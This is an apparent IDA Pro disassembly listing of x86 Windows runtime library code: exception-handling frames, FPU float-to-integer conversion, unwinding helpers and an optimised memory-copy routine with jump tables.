; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D424, offset sub_4221D5
		mov	off_43D420, eax
		mov	off_43D428, offset sub_42223B
		mov	off_43D42C, offset sub_42217B
		mov	off_43D430, offset sub_422223
		mov	off_43D434, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE28
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244


loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: ___:00422A22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356
sub_41D2AC	endp

; ---------------------------------------------------------------------------


loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41D2FB:				; CODE XREF: ___:00426AACj
					; ___:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBE70
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------


loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------


loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC
; ---------------------------------------------------------------------------


loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A


loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52


loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515


loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521


loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]


loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543


loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52


loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D568
		push	[ebp+arg_0]
		call	sub_426356
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D568	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]


loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		mov	ecx, [ebp+8]


loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; ___:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808


loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------


loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------


loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------


loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------


loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------


loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
